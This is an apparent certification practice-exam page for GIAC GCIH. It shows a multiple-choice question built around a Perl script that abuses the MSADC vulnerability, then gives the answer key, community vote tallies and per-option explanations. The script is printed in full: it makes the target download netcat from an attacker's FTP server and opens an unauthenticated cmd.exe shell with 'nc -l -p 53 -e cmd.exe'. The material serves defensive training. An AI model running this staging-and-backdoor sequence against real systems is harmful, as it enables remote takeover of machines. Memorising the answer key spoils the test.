nerdexam
GIAC

GCIH · Question #278

Adam, a malicious hacker performs an exploit, which is given below: ##################################################### $port = 53; # Spawn cmd.exe on port X $your = "192.168.1.1";# Your FTP…

The correct answer is D. Opens up a telnet listener that requires no username or password. The script exploits the MSADC vulnerability to download netcat (nc.exe) to a target system and use it to open a backdoor shell listener on port 53 with no authentication.

Vulnerability Exploitation & Privilege Escalation

Question

Adam, a malicious hacker performs an exploit, which is given below:

##################################################### $port = 53; # Spawn cmd.exe on port X $your = "192.168.1.1";# Your FTP Server 89 $user = "Anonymous";# login as $pass = '[email protected]';# password ##################################################### $host = $ARGV[0]; print "Starting ...\n"; print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C "echo open $your >sasfile""); system("perl msadc.pl -h $host -C "echo $user>>sasfile""); system("perl msadc.pl -h $host -C "echo $pass>>sasfile""); system("perl msadc.pl -h $host -C "echo bin>>sasfile""); system("perl msadc.pl -h $host -C "echo get nc.exe>>sasfile""); system("perl msadc.pl -h $host -C "echo get hacked. html>>sasfile""); system("perl msadc.pl -h $host -C "echo quit>>sasfile""); print "Server is downloading ... \n"; system("perl msadc.pl -h $host -C "ftp -s:sasfile""); print "Press ENTER when download is finished ... (Have a ftp server)\n"; $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C "nc -l -p $port -e cmd.exe""); print "Done.\n"; #system("telnet $host $port"); exit(0); Which of the following is the expected result of the above exploit?

Options

  • ACreates a share called "sasfile" on the target system
  • BCreates an FTP server with write permissions enabled
  • COpens up a SMTP server that requires no username or password
  • DOpens up a telnet listener that requires no username or password

How the community answered

(27 responses)
  • A
    7% (2)
  • B
    7% (2)
  • C
    4% (1)
  • D
    81% (22)

Why each option

The script exploits the MSADC vulnerability to download netcat (nc.exe) to a target system and use it to open a backdoor shell listener on port 53 with no authentication.

ACreates a share called "sasfile" on the target system

The script creates a local FTP command script file named 'sasfile' on the target to automate the FTP download session - it does not create a network share.

BCreates an FTP server with write permissions enabled

The attacker's machine hosts the FTP server; the script instructs the compromised target to download nc.exe from that server, not to create a new FTP server with write permissions.

COpens up a SMTP server that requires no username or password

The script has no SMTP-related functionality; it uses FTP for file transfer and netcat to open a shell, with no mail server components involved.

DOpens up a telnet listener that requires no username or passwordCorrect

The script uses the MSADC (Microsoft Data Access Components) exploit via msadc.pl to remotely execute commands on the target, downloading nc.exe (netcat) from the attacker's FTP server. Netcat is then configured to spawn cmd.exe on the specified port (53), creating a telnet-like listener that grants interactive shell access with no username or password required.

Concept tested: MSADC exploit and netcat backdoor shell

Source: https://owasp.org/www-community/attacks/Command_Injection

Topics

#MSADC exploit#remote code execution#netcat backdoor#FTP staging

Community Discussion

No community discussion yet for this question.

Sign up to join the discussion
Full GCIH Practice